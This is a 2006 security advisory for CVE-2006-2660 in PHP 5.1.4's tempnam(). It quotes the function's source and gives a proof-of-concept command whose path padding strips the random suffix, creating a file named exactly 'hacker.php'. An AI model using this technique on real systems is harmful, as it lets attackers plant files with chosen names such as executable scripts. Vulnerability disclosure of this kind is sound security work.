PHP 5.1.4 tempnam() Bypass unique file name

2006.06.11
Risk: Medium
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

[tempnam() Bypass unique file name PHP 5.1.4] Author: Maksymilian Arciemowicz Date: - -Written: 22.5.2006 - -Public: 11.6.2006 CVE-2006-2660 - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available. tempnam -- Create file with unique file name. - --- 1. tempnam() Bypass unique file name --- In lastes adv i have public an issue "Open Basedir Bypass". In function tempname() are required 2 arg`s. http://pl.php.net/manual/en/function.tempnam.php string tempnam ( string dir, string prefix ) In PHP 5.1.4 exists bug that allows you to create file with any name. - --- cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";' /www/temp/hacker.phpGQMqSE - --- You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically added to filename. Problem exists, because path couldn't be longer than MAXPATHLEN. In standard MAXPATHLEN is 1024B. - -771-805--- PHP_FUNCTION(tempnam) { zval **arg1, **arg2; char *d; char *opened_path; char *p; int fd; size_t p_len; if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == FAILURE) { WRONG_PARAM_COUNT; } convert_to_string_ex(arg1); convert_to_string_ex(arg2); if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) { RETURN_FALSE; } d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1)); php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len TSRMLS_CC); if (p_len > 64) { p[63] = '\0'; } if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) { close(fd); RETVAL_STRING(opened_path, 0); } else { RETVAL_FALSE; } efree(p); efree(d); } - -771-805--- So if you create path like /www/../www/.. etc. arg1+arg2=1023 uniqueid is not given to path. Example: - --- cxib# php -r 'echo tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";' /www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/temp/hacker.php - --- = /www/temp/hacker.php - --- cxib# ls -la /www/temp/hacker* - -rw------- 1 cxib cxib 0 May 22 23:33 /www/temp/hacker.php - -rw------- 1 cxib cxib 0 May 22 23:26 /www/temp/hacker.phpGQMqSE - --- - --- 2. How to fix --- CVS http://cvs.php.net/viewcvs.cgi/php-src/NEWS - --- 3. Contact --- Author: Maksymilian Arciemowicz


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